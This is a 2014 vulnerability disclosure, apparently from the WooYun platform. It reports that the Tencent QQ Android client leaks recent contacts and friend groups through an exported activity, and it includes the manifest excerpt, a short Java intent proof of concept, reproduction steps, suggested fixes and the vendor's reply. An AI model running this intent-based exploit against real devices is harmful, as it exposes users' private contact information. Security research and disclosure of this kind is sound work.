腾讯QQ android 客户端存在用户敏感信息泄漏

漏洞详情

披露状态:

2014-04-23: 细节已通知厂商并且等待厂商处理中
2014-04-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

腾讯qq客户端,里面声明了如下的一个acitivity

<activity android:name=".activity.ForwardRecentActivity" android:launchMode="singleTop" android:screenOrientation="portrait" android:configChanges="locale|keyboardHidden|orientation" android:alwaysRetainTaskState="true" android:windowSoftInputMode="adjustPan"> <intent-filter> <action android:name="com.tencent.intent.QQ_FORWARD" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>

根据android 的官方说明,如果acitity,默认没有声明export,其在声明了filter,该acitity将默认发布出去。



攻击着,采用显示intent调用component: com.tencent.mobileqq com.tencent.mobileqq.activity.ForwardRecentActivity

能够唤起页面,这个里面含有最近联系人信息,且点击 qq好友能够看到好友分组全部信息,信息泄漏(此时用户可以不处于登录状态)



1:登录qq

2:注销 qq

3:发送一个intent,可以唤起页面【里面有历史聊天人员】

QQ图片20140421182932.png



4:可以点击,[qq好友] 按钮,看到所有的分组和qq好友信息【泄漏】。

QQ图片20140421182945.png





漏洞证明:

Intent qq = new Intent(); ComponentName com = new ComponentName("com.tencent.mobileqq", "com.tencent.mobileqq.activity.ForwardRecentActivity"); qq.setComponent(com); startActivity(qq);

修复方案:

1、业务上控制,当前页面进行拦截,如果发现没有登录,跳转到登录页面

2、如果该activity只是qq内部使用,建议将sign级别的签名或者干脆就不要暴露出去,即添加android:exported="false"

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-04-24 14:45

厂商回复:

非常感谢您的报告,经评估该问题在官方最新版本4.7下并不存在。如有其它发现,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价: